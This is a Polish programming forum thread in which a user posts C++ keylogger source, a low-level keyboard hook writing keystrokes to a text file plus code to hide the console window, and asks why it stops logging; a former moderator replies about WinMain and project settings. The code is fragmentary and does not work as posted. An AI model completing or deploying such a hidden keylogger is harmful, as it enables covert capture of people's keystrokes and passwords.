ukrycie okna konsoli

sm950

Użytkownik
Dołączył
Sierpień 8, 2012
Posty
62
Witam

Do kodu keylogera dodałem taki kod:
CAŁY KOD:
Kod:
#include <iostream>
#include <fstream>
#include <windows.h>
#include <cstdlib>
#define VK_A 65
using namespace std;
fstream out("plik.txt", ios::out);
const char g_szClassName[] = "klasa";
int main()
{
HWND noWindow;
   AllocConsole();
   noWindow=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(noWindow,0);
   system("pause");
   return 0;
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	PKBDLLHOOKSTRUCT p= (PKBDLLHOOKSTRUCT) (lParam);
	if(wParam==WM_KEYDOWN)
	{
		switch(p->vkCode)
		{
			case VK_A:
				if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
				) out << "A";
				else
				out << "a";
				break;
		}
	}
	return CallNextHookEx(NULL,  nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

HWND hwnd;
MSG Msg;
    hwnd = CreateWindowEx(
        WS_EX_CLIENTEDGE,
        g_szClassName,
        "klasa",
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
        NULL, NULL, hInstance, NULL);

    HHOOK keyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        LowLevelKeyboardProc,
        GetModuleHandle(0), 0);
        
    while(GetMessage(&Msg, NULL, 0, 0))
    {
        TranslateMessage(&Msg);
        DispatchMessage(&Msg);
    }
    return Msg.wParam;
    return 0;
}

i zgodnie z tym konsoli nie widać widać ją tylko w procesach ale już nie zapisuje klawiszy czy ktoś coś wie co może być nie tak. Programuje w Code Blocks.
 

D.F.

Były Moderator
Dołączył
Listopad 4, 2009
Posty
493
Nie rozumiem. Domyślnie programy typu Win32, czyli takie, które maja funkcje WinMain() zamiast main() nie mają okna konsoli, nie jest ono tworzone, Poszukaj w opcjach projektu.
 

sm950

Użytkownik
Dołączył
Sierpień 8, 2012
Posty
62
po prostu jest w procesach konsoli na pasku nie ma ale nie zapisuje klawiszy o to mi chodzi. A w ustawieniach projektu co miał bym tam zmienić ? Wole nie grzebać żeby nie pozmieniać czegoś tam przypadkowo jak nie wiem co mam zmienić
 
Do góry Bottom